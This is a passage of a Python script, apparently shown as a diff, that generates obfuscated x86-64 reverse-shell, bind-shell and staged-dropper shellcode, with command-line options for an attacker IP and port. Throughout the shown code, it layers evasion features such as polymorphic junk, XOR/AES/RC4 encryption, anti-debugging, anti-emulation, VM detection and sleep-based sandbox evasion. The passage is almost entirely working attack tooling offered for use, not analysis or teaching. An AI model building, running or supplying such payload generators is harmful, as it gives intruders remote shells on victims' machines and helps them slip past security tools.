|
|
1465
|
+
mov dword ptr [rsp+4], 0x0100007F
|
|
1466
|
+
mov ax, 0x5C11
|
|
1467
|
+
mov word ptr [rsp+2], ax
|
|
1468
|
+
mov word ptr [rsp], 2
|
|
1469
|
+
mov rsi, rsp
|
|
1470
|
+
mov rdx, 16
|
|
1471
|
+
syscall
|
|
1472
|
+
add rsp, 16
|
|
1473
|
+
|
|
1474
|
+
mov rax, 0
|
|
1475
|
+
mov rdi, r14
|
|
1476
|
+
mov rsi, r15
|
|
1477
|
+
mov rdx, {stage1_size}
|
|
1478
|
+
syscall
|
|
1479
|
+
|
|
1480
|
+
mov rax, 59
|
|
1481
|
+
mov rdi, r15
|
|
1482
|
+
xor rsi, rsi
|
|
1483
|
+
xor rdx, rdx
|
|
1484
|
+
syscall
|
|
1485
|
+
"""
|
|
1486
|
+
try:
|
|
1487
|
+
stage1 = myasm(stage1_asm)
|
|
1488
|
+
except Exception as e:
|
|
1489
|
+
print(f"{RED}[-] Error assembling stage1: {e}{RESET}", file=sys.stderr)
|
|
1490
|
+
raise
|
|
1491
|
+
|
|
1492
|
+
stage2_asm = """
|
|
1493
|
+
mov rax, 59
|
|
1494
|
+
sub rsp, 16
|
|
1495
|
+
mov qword ptr [rsp], 0x68732F6E69622F
|
|
1496
|
+
mov qword ptr [rsp+8], 0
|
|
1497
|
+
mov rdi, rsp
|
|
1498
|
+
xor rsi, rsi
|
|
1499
|
+
xor rdx, rdx
|
|
1500
|
+
syscall
|
|
1501
|
+
add rsp, 16
|
|
1502
|
+
"""
|
|
1503
|
+
try:
|
|
1504
|
+
stage2 = myasm(stage2_asm)
|
|
1505
|
+
except Exception as e:
|
|
1506
|
+
print(f"{RED}[-] Error assembling stage2: {e}{RESET}", file=sys.stderr)
|
|
1507
|
+
raise
|
|
1508
|
+
|
|
1509
|
+
return stage1, stage2
|
|
1510
|
+
|
|
1511
|
+
|
|
1512
|
+
def enhanced_polymorphic_engine(shellcode: bytes, junk_ratio: float = 0.3) -> bytes:
|
|
1513
|
+
junk_patterns = [
|
|
1514
|
+
("xor rcx, rcx", 3),
|
|
1515
|
+
("add rdx, 0", 3),
|
|
1516
|
+
("lea rsi, [rsi + 0]", 4),
|
|
1517
|
+
("mov r9, r9", 3),
|
|
1518
|
+
("push rbx; pop rbx", 4),
|
|
1519
|
+
("nop", 1),
|
|
1520
|
+
("xchg rax, rax", 1),
|
|
1521
|
+
("test r8, r8", 3),
|
|
1522
|
+
("cdqe", 1),
|
|
1523
|
+
("mov rax, rax", 3),
|
|
1524
|
+
("push rax; push rax; pop rax; pop rax", 6),
|
|
1525
|
+
("imul rax, rax, 1", 4),
|
|
1526
|
+
("shl rax, 0", 3),
|
|
1527
|
+
("sar rax, 0", 3),
|
|
1528
|
+
("mov rbx, rbx; mov rcx, rcx; mov rdx, rdx", 9),
|
|
1529
|
+
]
|
|
1530
|
+
result = bytearray()
|
|
1531
|
+
for byte in shellcode:
|
|
1532
|
+
if random.random() < junk_ratio:
|
|
1533
|
+
junk, size = random.choice(junk_patterns)
|
|
1534
|
+
try:
|
|
1535
|
+
junk_bytes = myasm(junk)
|
|
1536
|
+
result.extend(junk_bytes)
|
|
1537
|
+
except Exception:
|
|
1538
|
+
pass
|
|
1539
|
+
result.append(byte)
|
|
1540
|
+
return bytes(result)
|
|
1541
|
+
|
|
1542
|
+
|
|
1543
|
+
def generate_payload(
|
|
1544
|
+
ip: str | None,
|
|
1545
|
+
port: int | None,
|
|
1546
|
+
executable_path: str,
|
|
1547
|
+
junk: bool,
|
|
1548
|
+
anti_emulation: bool,
|
|
1549
|
+
stack_pivot: bool,
|
|
1550
|
+
obfuscate_path: bool,
|
|
1551
|
+
anti_debug: bool,
|
|
1552
|
+
indirect_syscalls: bool,
|
|
1553
|
+
payload_type: str = "reverse",
|
|
1554
|
+
ipv6: bool = False,
|
|
1555
|
+
domain: str | None = None,
|
|
1556
|
+
bind_addr: str | None = None,
|
|
1557
|
+
sleep_seconds: int | None = None,
|
|
1558
|
+
vm_detect: bool = False,
|
|
1559
|
+
parent_check: bool = False,
|
|
1560
|
+
egg: bytes | None = None,
|
|
1561
|
+
base64_enc: bool = False,
|
|
1562
|
+
base32_enc: bool = False,
|
|
1563
|
+
aes_key: bytes | None = None,
|
|
1564
|
+
rc4_key: bytes | None = None,
|
|
1565
|
+
) -> bytes:
|
|
1566
|
+
payload_asm = ""
|
|
1567
|
+
extra_bytes = b""
|
|
1568
|
+
|
|
1569
|
+
pid = os.getpid()
|
|
1570
|
+
path_decode_loop_label = f"path_decode_loop_{pid}"
|
|
1571
|
+
ptrace_fail_label = f"being_traced_exit_{pid}"
|
|
1572
|
+
syscall_gadget_label = f"syscall_gadget_{pid}"
|
|
1573
|
+
main_code_end_label = f"main_code_end_{pid}"
|
|
1574
|
+
dup_loop_label = f"dup_loop_{pid}"
|
|
1575
|
+
|
|
1576
|
+
path_xor_key = 0x42
|
|
1577
|
+
|
|
1578
|
+
syscall_instruction = (
|
|
1579
|
+
f"call {syscall_gadget_label}" if indirect_syscalls else "syscall"
|
|
1580
|
+
)
|
|
1581
|
+
|
|
1582
|
+
if sleep_seconds is not None:
|
|
1583
|
+
sleep_evasion = generate_sleep_evasion(sleep_seconds)
|
|
1584
|
+
extra_bytes += sleep_evasion
|
|
1585
|
+
|
|
1586
|
+
if vm_detect:
|
|
1587
|
+
vm_detection = generate_vm_detection()
|
|
1588
|
+
extra_bytes += vm_detection
|
|
1589
|
+
|
|
1590
|
+
if parent_check:
|
|
1591
|
+
parent_check_code = generate_parent_check()
|
|
1592
|
+
extra_bytes += parent_check_code
|
|
1593
|
+
|
|
1594
|
+
if stack_pivot:
|
|
1595
|
+
payload_asm += " sub rsp, 0x500\n"
|
|
1596
|
+
|
|
1597
|
+
if anti_debug:
|
|
1598
|
+
payload_asm += f"""
|
|
1599
|
+
mov rax, 101
|
|
1600
|
+
mov rdi, 0
|
|
1601
|
+
xor rsi, rsi
|
|
1602
|
+
xor rdx, rdx
|
|
1603
|
+
{syscall_instruction}
|
|
1604
|
+
test rax, rax
|
|
1605
|
+
js {ptrace_fail_label}
|
|
1606
|
+
"""
|
|
1607
|
+
|
|
1608
|
+
if anti_emulation:
|
|
1609
|
+
payload_asm += """
|
|
1610
|
+
rdtsc
|
|
1611
|
+
mov r10, rax
|
|
1612
|
+
mov r11, rdx
|
|
1613
|
+
nop; nop; nop; nop
|
|
1614
|
+
cpuid
|
|
1615
|
+
nop; nop; nop; nop
|
|
1616
|
+
rdtsc
|
|
1617
|
+
sub rax, r10
|
|
1618
|
+
sbb rdx, r11
|
|
1619
|
+
"""
|
|
1620
|
+
|
|
1621
|
+
if payload_type == "reverse":
|
|
1622
|
+
if ipv6 and ip:
|
|
1623
|
+
ipv6_shell = generate_ipv6_reverse_shell(ip, port)
|
|
1624
|
+
extra_bytes += ipv6_shell
|
|
1625
|
+
elif ip and port:
|
|
1626
|
+
try:
|
|
1627
|
+
ip_bytes = socket.inet_aton(ip)
|
|
1628
|
+
except OSError:
|
|
1629
|
+
raise ValueError(f"Invalid IP address format: {ip}")
|
|
1630
|
+
port_bytes = port.to_bytes(2, "big")
|
|
1631
|
+
payload_asm += f"""
|
|
1632
|
+
mov rax, 41
|
|
1633
|
+
mov rdi, 2
|
|
1634
|
+
mov rsi, 1
|
|
1635
|
+
xor rdx, rdx
|
|
1636
|
+
{syscall_instruction}
|
|
1637
|
+
mov rdi, rax
|
|
1638
|
+
|
|
1639
|
+
sub rsp, 16
|
|
1640
|
+
mov dword ptr [rsp+4], 0x{ip_bytes.hex()}
|
|
1641
|
+
mov word ptr [rsp+2], 0x{port_bytes.hex()}
|
|
1642
|
+
mov word ptr [rsp], 2
|
|
1643
|
+
mov rax, 42
|
|
1644
|
+
mov rsi, rsp
|
|
1645
|
+
mov rdx, 16
|
|
1646
|
+
{syscall_instruction}
|
|
1647
|
+
add rsp, 16
|
|
1648
|
+
|
|
1649
|
+
mov rsi, 0
|
|
1650
|
+
{dup_loop_label}:
|
|
1651
|
+
mov rax, 33
|
|
1652
|
+
{syscall_instruction}
|
|
1653
|
+
inc rsi
|
|
1654
|
+
cmp rsi, 3
|
|
1655
|
+
jne {dup_loop_label}
|
|
1656
|
+
"""
|
|
1657
|
+
|
|
1658
|
+
elif payload_type == "bind" and port:
|
|
1659
|
+
bind_addr_val = bind_addr or "0.0.0.0"
|
|
1660
|
+
bind_shell = generate_bind_shell(port, bind_addr_val)
|
|
1661
|
+
extra_bytes += bind_shell
|
|
1662
|
+
|
|
1663
|
+
elif payload_type == "dns" and domain:
|
|
1664
|
+
dns_resolve = generate_dns_resolve(domain)
|
|
1665
|
+
extra_bytes += dns_resolve
|
|
1666
|
+
|
|
1667
|
+
if egg:
|
|
1668
|
+
egghunter = egg_hunter(egg)
|
|
1669
|
+
extra_bytes += egghunter
|
|
1670
|
+
|
|
1671
|
+
try:
|
|
1672
|
+
exec_bytes = executable_path.encode("utf-8") + b"\x00"
|
|
1673
|
+
except UnicodeEncodeError:
|
|
1674
|
+
raise ValueError(
|
|
1675
|
+
f"Executable path '{executable_path}' contains non-UTF8 characters."
|
|
1676
|
+
)
|
|
1677
|
+
padding_needed = (8 - (len(exec_bytes) % 8)) % 8
|
|
1678
|
+
padded_exec_bytes = exec_bytes + (b"\x00" * padding_needed)
|
|
1679
|
+
exec_len = len(padded_exec_bytes)
|
|
1680
|
+
|
|
1681
|
+
if obfuscate_path:
|
|
1682
|
+
print(
|
|
1683
|
+
f"{YELLOW}[*] Obfuscating execution path '{executable_path}' with XOR key {path_xor_key:#04x}{RESET}",
|
|
1684
|
+
file=sys.stderr,
|
|
1685
|
+
)
|
|
1686
|
+
final_exec_bytes = bytes([b ^ path_xor_key for b in padded_exec_bytes])
|
|
1687
|
+
else:
|
|
1688
|
+
final_exec_bytes = padded_exec_bytes
|
|
1689
|
+
|
|
1690
|
+
payload_asm += f"\n # --- Push {'obfuscated ' if obfuscate_path else ''}executable path '{executable_path}\\0' onto stack ({exec_len} bytes padded) ---\n"
|
|
1691
|
+
for i in range(exec_len - 8, -8, -8):
|
|
1692
|
+
chunk = final_exec_bytes[i : i + 8]
|
|
1693
|
+
chunk_int = int.from_bytes(chunk, "little")
|
|
1694
|
+
payload_asm += f" mov rax, {chunk_int:#018x}\n"
|
|
1695
|
+
payload_asm += " push rax\n"
|
|
1696
|
+
|
|
1697
|
+
payload_asm += " mov rdi, rsp\n"
|
|
1698
|
+
|
|
1699
|
+
if obfuscate_path:
|
|
1700
|
+
payload_asm += f"""
|
|
1701
|
+
mov rcx, {exec_len}
|
|
1702
|
+
mov rbx, rdi
|
|
1703
|
+
{path_decode_loop_label}:
|
|
1704
|
+
xor byte ptr [rbx], {path_xor_key:#04x}
|
|
1705
|
+
inc rbx
|
|
1706
|
+
loop {path_decode_loop_label}
|
|
1707
|
+
"""
|
|
1708
|
+
|
|
1709
|
+
payload_asm += f"""
|
|
1710
|
+
mov rax, 59
|
|
1711
|
+
xor rsi, rsi
|
|
1712
|
+
xor rdx, rdx
|
|
1713
|
+
{syscall_instruction}
|
|
1714
|
+
"""
|
|
1715
|
+
|
|
1716
|
+
payload_asm += f"""
|
|
1717
|
+
jmp {main_code_end_label}
|
|
1718
|
+
|
|
1719
|
+
{ptrace_fail_label}:
|
|
1720
|
+
mov rax, 60
|
|
1721
|
+
mov rdi, 1
|
|
1722
|
+
{"syscall" if not indirect_syscalls else f"call {syscall_gadget_label}"}
|
|
1723
|
+
syscall
|
|
1724
|
+
|
|
1725
|
+
"""
|
|
1726
|
+
|
|
1727
|
+
if indirect_syscalls:
|
|
1728
|
+
try:
|
|
1729
|
+
syscall_ret_bytes = myasm("syscall; ret")
|
|
1730
|
+
except Exception as e:
|
|
1731
|
+
print(
|
|
1732
|
+
f"{RED}[-] Error assembling syscall gadget: {e}{RESET}", file=sys.stderr
|
|
1733
|
+
)
|
|
1734
|
+
raise
|
|
1735
|
+
payload_asm += f"""
|
|
1736
|
+
{syscall_gadget_label}:
|
|
1737
|
+
.byte {", ".join(hex(b) for b in syscall_ret_bytes)}
|
|
1738
|
+
|
|
1739
|
+
|
|
1740
|
+
"""
|
|
1741
|
+
|
|
1742
|
+
payload_asm += f"""
|
|
1743
|
+
{main_code_end_label}:
|
|
1744
|
+
mov rax, 60
|
|
1745
|
+
xor rdi, rdi
|
|
1746
|
+
{"syscall" if not indirect_syscalls else f"call {syscall_gadget_label}"}
|
|
1747
|
+
syscall
|
|
1748
|
+
"""
|
|
1749
|
+
|
|
1750
|
+
try:
|
|
1751
|
+
payload_bytes = myasm(payload_asm)
|
|
1752
|
+
except Exception as e:
|
|
1753
|
+
print(f"{RED}[-] Error assembling core payload: {e}{RESET}", file=sys.stderr)
|
|
1754
|
+
print(
|
|
1755
|
+
f"{RED}--- Failed ASM --- \n{payload_asm}\n--- END ---{RESET}",
|
|
1756
|
+
file=sys.stderr,
|
|
1757
|
+
)
|
|
1758
|
+
raise
|
|
1759
|
+
|
|
1760
|
+
if junk:
|
|
1761
|
+
print(
|
|
1762
|
+
f"{YELLOW}[*] Inserting polymorphic junk code...{RESET}",
|
|
1763
|
+
file=sys.stderr,
|
|
1764
|
+
)
|
|
1765
|
+
junk_bytes = generate_polymorphic_junk()
|
|
1766
|
+
payload_bytes = junk_bytes + payload_bytes
|
|
1767
|
+
|
|
1768
|
+
if extra_bytes:
|
|
1769
|
+
payload_bytes = extra_bytes + payload_bytes
|
|
1770
|
+
|
|
1771
|
+
if base64_enc:
|
|
1772
|
+
payload_bytes = base64_encode(payload_bytes)
|
|
1773
|
+
|
|
1774
|
+
if base32_enc:
|
|
1775
|
+
payload_bytes = base32_encode(payload_bytes)
|
|
1776
|
+
|
|
1777
|
+
if aes_key:
|
|
1778
|
+
payload_bytes = aes_encrypt(payload_bytes, aes_key)
|
|
1779
|
+
|
|
1780
|
+
if rc4_key:
|
|
1781
|
+
payload_bytes = rc4_encrypt(payload_bytes, rc4_key)
|
|
1782
|
+
|
|
1783
|
+
return payload_bytes
|
|
1784
|
+
|
|
1785
|
+
|
|
1786
|
+
def main() -> int:
|
|
1787
|
+
parser = argparse.ArgumentParser(
|
|
1788
|
+
description="Ultimate Obfuscated Reverse Shell Shellcode Generator",
|
|
1789
|
+
formatter_class=argparse.ArgumentDefaultsHelpFormatter,
|
|
1790
|
+
)
|
|
1791
|
+
|
|
1792
|
+
conn_group = parser.add_argument_group("Connection Arguments")
|
|
1793
|
+
conn_group.add_argument("--ip", help="Attacker IP Address")
|
|
1794
|
+
conn_group.add_argument("--port", type=int, help="Attacker listener port")
|
|
1795
|
+
conn_group.add_argument(
|
|
1796
|
+
"-e", "--executable", default="/bin/sh", help="Executable path for execve"
|
|
1797
|
+
)
|
|
1798
|
+
conn_group.add_argument("--domain", help="Domain name for DNS resolution")
|
|
1799
|
+
conn_group.add_argument(
|
|
1800
|
+
"--bind-addr", default="0.0.0.0", help="Bind address for bind shell"
|
|
1801
|
+
)
|
|
1802
|
+
|
|
1803
|
+
type_group = parser.add_argument_group("Payload Type")
|
|
1804
|
+
type_group.add_argument(
|
|
1805
|
+
"--arch",
|
|
1806
|
+
choices=["amd64", "arm64"],
|
|
1807
|
+
default="amd64",
|
|
1808
|
+
help="Target architecture (default: amd64)",
|
|
1809
|
+
)
|
|
1810
|
+
type_group.add_argument(
|
|
1811
|
+
"--reverse", action="store_true", default=True, help="Reverse shell (default)"
|
|
1812
|
+
)
|
|
1813
|
+
type_group.add_argument(
|
|
1814
|
+
"--bind", action="store_true", help="Bind shell instead of reverse"
|
|
1815
|
+
)
|
|
1816
|
+
type_group.add_argument("--dns", action="store_true", help="DNS resolution payload")
|
|
1817
|
+
type_group.add_argument(
|
|
1818
|
+
"--ipv6", action="store_true", help="Use IPv6 for connection"
|
|
1819
|
+
)
|
|
1820
|
+
|
|
1821
|
+
evasion_group = parser.add_argument_group("Obfuscation & Evasion Arguments")
|
|
1822
|
+
evasion_group.add_argument(
|
|
1823
|
+
"--xor-key",
|
|
1824
|
+
type=lambda x: int(x, 0),
|
|
1825
|
+
help="Simple XOR key (0-255) for final payload obfuscation",
|
|
1826
|
+
)
|
|
1827
|
+
evasion_group.add_argument(
|
|
1828
|
+
"--rolling-xor-key",
|
|
1829
|
+
type=lambda x: int(x, 0),
|
|
1830
|
+
help="Apply rolling XOR encryption (key++) with the given starting key (0-255) [Decoder included]",
|
|
1831
|
+
)
|
|
1832
|
+
evasion_group.add_argument(
|
|
1833
|
+
"--rle",
|
|
1834
|
+
action="store_true",
|
|
1835
|
+
help="Enable RLE encoding (with self-decoder stub)",
|
|
1836
|
+
)
|
|
1837
|
+
evasion_group.add_argument(
|
|
1838
|
+
"--lz77",
|
|
1839
|
+
action="store_true",
|
|
1840
|
+
help="Enable LZ77 compression (with self-decompressor stub)",
|
|
1841
|
+
)
|
|
1842
|
+
evasion_group.add_argument(
|
|
1843
|
+
"--base64", action="store_true", help="Apply Base64 encoding"
|
|
1844
|
+
)
|
|
1845
|
+
evasion_group.add_argument(
|
|
1846
|
+
"--base32", action="store_true", help="Apply Base32 encoding"
|
|
1847
|
+
)
|
|
1848
|
+
evasion_group.add_argument(
|
|
1849
|
+
"--aes-key",
|
|
1850
|
+
type=lambda x: bytes.fromhex(x),
|
|
1851
|
+
help="AES encryption key (hex string, 16/24/32 bytes)",
|
|
1852
|
+
)
|
|
1853
|
+
evasion_group.add_argument(
|
|
1854
|
+
"--rc4-key",
|
|
1855
|
+
type=lambda x: bytes.fromhex(x),
|
|
1856
|
+
help="RC4 encryption key (hex string)",
|
|
1857
|
+
)
|
|
1858
|
+
evasion_group.add_argument(
|
|
1859
|
+
"--junk", action="store_true", help="Insert polymorphic junk code"
|
|
1860
|
+
)
|
|
1861
|
+
evasion_group.add_argument(
|
|
1862
|
+
"--obfuscate-path",
|
|
1863
|
+
action="store_true",
|
|
1864
|
+
help="XOR obfuscate the executable path string in memory (self-decoding)",
|
|
1865
|
+
)
|
|
1866
|
+
evasion_group.add_argument(
|
|
1867
|
+
"--indirect-syscalls",
|
|
1868
|
+
action="store_true",
|
|
1869
|
+
help="Use indirect calls to a 'syscall; ret' gadget",
|
|
1870
|
+
)
|
|
1871
|
+
evasion_group.add_argument(
|
|
1872
|
+
"--anti-emulation",
|
|
1873
|
+
action="store_true",
|
|
1874
|
+
help="Insert basic anti-emulation tricks (rdtsc, cpuid)",
|
|
1875
|
+
)
|
|
1876
|
+
evasion_group.add_argument(
|
|
1877
|
+
"--anti-debug",
|
|
1878
|
+
action="store_true",
|
|
1879
|
+
help="Add anti-debugging check (ptrace PTRACE_TRACEME)",
|
|
1880
|
+
)
|
|
1881
|
+
evasion_group.add_argument(
|
|
1882
|
+
"--stack-pivot",
|
|
1883
|
+
action="store_true",
|
|
1884
|
+
help="Enable simple stack pivot (sub rsp, 0x500)",
|
|
1885
|
+
)
|
|
1886
|
+
|
|
1887
|
+
advanced_group = parser.add_argument_group("Advanced Evasion Arguments")
|
|
1888
|
+
advanced_group.add_argument(
|
|
1889
|
+
"--sleep",
|
|
1890
|
+
type=int,
|
|
1891
|
+
help="Sleep for N seconds before execution (sandbox evasion)",
|
|
1892
|
+
)
|
|
1893
|
+
advanced_group.add_argument(
|
|
1894
|
+
"--vm-detect", action="store_true", help="Enable VM/hypervisor detection"
|
|
1895
|
+
)
|
|
1896
|
+
advanced_group.add_argument(
|
|
1897
|
+
"--parent-check",
|
|
1898
|
+
action="store_true",
|
|
1899
|
+
help="Check parent process for suspicious activity",
|
|
1900
|
+
)
|
|
1901
|
+
advanced_group.add_argument(
|
|
1902
|
+
"--egg",
|
|
1903
|
+
type=lambda x: bytes.fromhex(x),
|
|
1904
|
+
help="Egg marker for egg hunter (4 bytes hex)",
|
|
1905
|
+
)
|
|
1906
|
+
advanced_group.add_argument(
|
|
1907
|
+
"--egg-hunter",
|
|
1908
|
+
action="store_true",
|
|
1909
|
+
help="Generate egg hunter instead of full payload",
|
|
1910
|
+
)
|
|
1911
|
+
advanced_group.add_argument(
|
|
1912
|
+
"--staged", action="store_true", help="Generate staged payload (dropper)"
|
|
1913
|
+
)
|
|
1914
|
+
advanced_group.add_argument(
|
|
1915
|
+
"--polymorphic",
|
|
1916
|
+
action="store_true",
|
|
1917
|
+
help="Apply enhanced polymorphic obfuscation",
|
|
1918
|
+
)
|
|
1919
|
+
|
|
1920
|
+
args = parser.parse_args()
|
|
1921
|
+
|
|
1922
|
+
if args.xor_key is not None and args.rolling_xor_key is not None:
|
|
1923
|
+
print(
|
|
1924
|
+
f"{RED}[-] Error: Cannot use both --xor-key and --rolling-xor-key at the same time.{RESET}",
|
|
1925
|
+
file=sys.stderr,
|
|
1926
|
+
)
|
|
1927
|
+
return 1
|
|
1928
|
+
if args.xor_key is not None and not (0 <= args.xor_key <= 255):
|
|
1929
|
+
print(
|
|
1930
|
+
f"{RED}[-] Error: XOR key must be between 0 and 255.{RESET}",
|
|
1931
|
+
file=sys.stderr,
|
|
1932
|
+
)
|
|
1933
|
+
return 1
|
|
1934
|
+
if args.rolling_xor_key is not None and not (0 <= args.rolling_xor_key <= 255):
|
|
1935
|
+
print(
|
|
1936
|
+
f"{RED}[-] Error: Rolling XOR key must be between 0 and 255.{RESET}",
|
|
1937
|
+
file=sys.stderr,
|
|
1938
|
+
)
|
|
1939
|
+
return 1
|
|
1940
|
+
if args.port and (args.port <= 0 or args.port > 65535):
|
|
1941
|
+
print(
|
|
1942
|
+
f"{RED}[-] Error: Port must be between 1 and 65535.{RESET}",
|
|
1943
|
+
file=sys.stderr,
|
|
1944
|
+
)
|
|
1945
|
+
return 1
|
|
1946
|
+
if not args.ip and args.port and not args.bind:
|
|
1947
|
+
print(
|
|
1948
|
+
f"{RED}[-] Error: Port provided without IP address.{RESET}",
|
|
1949
|
+
file=sys.stderr,
|
|
1950
|
+
)
|
|
1951
|
+
return 1
|
|
1952
|
+
|
|
1953
|
+
if args.base64 and args.base32:
|
|
1954
|
+
print(
|
|
1955
|
+
f"{RED}[-] Error: Cannot use both --base64 and --base32 at the same time.{RESET}",
|
|
1956
|
+
file=sys.stderr,
|
|
1957
|
+
)
|
|
1958
|
+
return 1
|
|
1959
|
+
|
|
1960
|
+
if args.bind and not args.port:
|
|
1961
|
+
print(
|
|
1962
|
+
f"{RED}[-] Error: --bind requires --port.{RESET}",
|
|
1963
|
+
file=sys.stderr,
|
|
1964
|
+
)
|
|
1965
|
+
return 1
|
|
1966
|
+
|
|
1967
|
+
try:
|
|
1968
|
+
payload_type = "reverse"
|
|
1969
|
+
if args.bind:
|
|
1970
|
+
payload_type = "bind"
|
|
1971
|
+
elif args.dns:
|
|
1972
|
+
payload_type = "dns"
|
|
1973
|
+
|
|
1974
|
+
if args.arch == "arm64":
|
|
1975
|
+
print(f"{YELLOW}[*] Generating ARM64 payload...{RESET}", file=sys.stderr)
|
|
1976
|
+
if args.egg_hunter or args.staged or args.polymorphic:
|
|
1977
|
+
print(
|
|
1978
|
+
f"{RED}[-] Error: Egg hunter, staged payloads, and polymorphic are not supported for ARM64 yet.{RESET}",
|
|
1979
|
+
file=sys.stderr,
|
|
1980
|
+
)
|
|
1981
|
+
return 1
|
|
1982
|
+
|
|
1983
|
+
final_payload = generate_arm64_payload(
|
|
1984
|
+
ip=args.ip,
|
|
1985
|
+
port=args.port,
|
|
1986
|
+
executable_path=args.executable,
|
|
1987
|
+
payload_type=payload_type,
|
|
1988
|
+
bind_addr=args.bind_addr,
|
|
1989
|
+
)
|
|
1990
|
+
print(
|
|
1991
|
+
f"{YELLOW}[*] ARM64 payload size: {len(final_payload)} bytes{RESET}",
|
|
1992
|
+
file=sys.stderr,
|
|
1993
|
+
)
|
|
1994
|
+
|
|
1995
|
+
if args.xor_key is not None:
|
|
1996
|
+
final_payload = xor_encrypt(final_payload, args.xor_key)
|
|
1997
|
+
|
|
1998
|
+
if args.rolling_xor_key is not None:
|
|
1999
|
+
decoder_stub = rolling_xor_decoder_stub(
|
|
2000
|
+
len(final_payload), args.rolling_xor_key
|
|
2001
|
+
)
|
|
2002
|
+
final_payload = decoder_stub + rolling_xor_encrypt(
|
|
2003
|
+
final_payload, args.rolling_xor_key
|
|
2004
|
+
)
|
|
2005
|
+
|
|
2006
|
+
elif args.egg_hunter:
|
|
2007
|
+
print(f"{YELLOW}[*] Generating egg hunter...{RESET}", file=sys.stderr)
|
|
2008
|
+
egg_val = args.egg or b"\x00\x00\x00\x00"
|
|
2009
|
+
final_payload = egg_hunter(egg_val)
|
|
2010
|
+
print(
|
|
2011
|
+
f"{YELLOW}[*] Egg hunter size: {len(final_payload)} bytes{RESET}",
|
|
2012
|
+
file=sys.stderr,
|
|
2013
|
+
)
|
|
2014
|
+
elif args.staged:
|
|
2015
|
+
print(f"{YELLOW}[*] Generating staged payload...{RESET}", file=sys.stderr)
|
|
2016
|
+
stage1, stage2 = generate_staged_payload()
|
|
2017
|
+
print(
|
|
2018
|
+
f"{YELLOW}[*] Stage 1 size: {len(stage1)} bytes{RESET}",
|
|
2019
|
+
file=sys.stderr,
|
|
2020
|
+
)
|
|
2021
|
+
print(
|
|
2022
|
+
f"{YELLOW}[*] Stage 2 size: {len(stage2)} bytes{RESET}",
|
|
2023
|
+
file=sys.stderr,
|
|
2024
|
+
)
|
|
2025
|
+
print(f"\n{GREEN}[+] Stage 1 ({len(stage1)} bytes):{RESET}")
|
|
2026
|
+
print("".join(f"\\x{b:02x}" for b in stage1))
|
|
2027
|
+
print(f"\n{GREEN}[+] Stage 2 ({len(stage2)} bytes):{RESET}")
|
|
2028
|
+
print("".join(f"\\x{b:02x}" for b in stage2))
|
|
2029
|
+
return 0
|
|
2030
|
+
else:
|
|
2031
|
+
print(f"{YELLOW}[*] Generating core payload...{RESET}", file=sys.stderr)
|
|
2032
|
+
core_payload = generate_payload(
|
|
2033
|
+
args.ip,
|
|
2034
|
+
args.port,
|
|
2035
|
+
args.executable,
|
|
2036
|
+
args.junk,
|
|
2037
|
+
args.anti_emulation,
|
|
2038
|
+
args.stack_pivot,
|
|
2039
|
+
args.obfuscate_path,
|
|
2040
|
+
args.anti_debug,
|
|
2041
|
+
args.indirect_syscalls,
|
|
2042
|
+
payload_type=payload_type,
|
|
2043
|
+
ipv6=args.ipv6,
|
|
2044
|
+
domain=args.domain,
|
|
2045
|
+
bind_addr=args.bind_addr,
|
|
2046
|
+
sleep_seconds=args.sleep,
|
|
2047
|
+
vm_detect=args.vm_detect,
|
|
2048
|
+
parent_check=args.parent_check,
|
|
2049
|
+
egg=args.egg,
|
|
2050
|
+
base64_enc=args.base64,
|
|
2051
|
+
base32_enc=args.base32,
|
|
2052
|
+
aes_key=args.aes_key,
|
|
2053
|
+
rc4_key=args.rc4_key,
|
|
2054
|
+
)
|
|
2055
|
+
print(
|
|
2056
|
+
f"{YELLOW}[*] Core payload size: {len(core_payload)} bytes{RESET}",
|
|
2057
|
+
file=sys.stderr,
|
|
2058
|
+
)
|
|
2059
|
+
|
|
2060
|
+
final_payload = core_payload
|
|
2061
|
+
payload_size_before_rle = len(final_payload)
|
|
2062
|
+
|
|
2063
|
+
if args.rle:
|
|
2064
|
+
print(f"{YELLOW}[*] Applying RLE encoding...{RESET}", file=sys.stderr)
|
|
2065
|
+
encoded_payload = rle_encode(final_payload)
|
|
2066
|
+
print(
|
|
2067
|
+
f"{YELLOW}[*] RLE Encoded payload size: {len(encoded_payload)} bytes{RESET}",
|
|
2068
|
+
file=sys.stderr,
|
|
2069
|
+
)
|
|
2070
|
+
decoder_stub = rle_decoder_stub(payload_size_before_rle)
|
|
2071
|
+
print(
|
|
2072
|
+
f"{YELLOW}[*] RLE Decoder stub size: {len(decoder_stub)} bytes{RESET}",
|
|
2073
|
+
file=sys.stderr,
|
|
2074
|
+
)
|
|
2075
|
+
final_payload = decoder_stub + encoded_payload
|
|
2076
|
+
print(
|
|
2077
|
+
f"{YELLOW}[*] Total size with RLE stub: {len(final_payload)} bytes{RESET}",
|
|
2078
|
+
file=sys.stderr,
|
|
2079
|
+
)
|
|
2080
|
+
|
|
2081
|
+
if args.lz77:
|
|
2082
|
+
print(
|
|
2083
|
+
f"{YELLOW}[*] Applying LZ77 compression...{RESET}", file=sys.stderr
|
|
2084
|
+
)
|
|
2085
|
+
encoded_payload = lz77_encode(final_payload)
|
|
2086
|
+
print(
|
|
2087
|
+
f"{YELLOW}[*] LZ77 Compressed payload size: {len(encoded_payload)} bytes{RESET}",
|
|
2088
|
+
file=sys.stderr,
|
|
2089
|
+
)
|
|
2090
|
+
decoder_stub = lz77_decoder_stub(payload_size_before_rle)
|
|
2091
|
+
print(
|
|
2092
|
+
f"{YELLOW}[*] LZ77 Decoder stub size: {len(decoder_stub)} bytes{RESET}",
|
|
2093
|
+
file=sys.stderr,
|
|
2094
|
+
)
|
|
2095
|
+
final_payload = decoder_stub + encoded_payload
|
|
2096
|
+
print(
|
|
2097
|
+
f"{YELLOW}[*] Total size with LZ77 stub: {len(final_payload)} bytes{RESET}",
|
|
2098
|
+
file=sys.stderr,
|
|
2099
|
+
)
|
|
2100
|
+
|
|
2101
|
+
if args.xor_key is not None:
|
|
2102
|
+
print(
|
|
2103
|
+
f"{YELLOW}[*] Applying simple XOR encryption with key: {args.xor_key:#04x}{RESET}",
|
|
2104
|
+
file=sys.stderr,
|
|
2105
|
+
)
|
|
2106
|
+
final_payload = xor_encrypt(final_payload, args.xor_key)
|
|
2107
|
+
|
|
2108
|
+
if args.rolling_xor_key is not None:
|
|
2109
|
+
print(
|
|
2110
|
+
f"{YELLOW}[*] Applying rolling XOR encryption with starting key: {args.rolling_xor_key:#04x}{RESET}",
|
|
2111
|
+
file=sys.stderr,
|
|
2112
|
+
)
|
|
2113
|
+
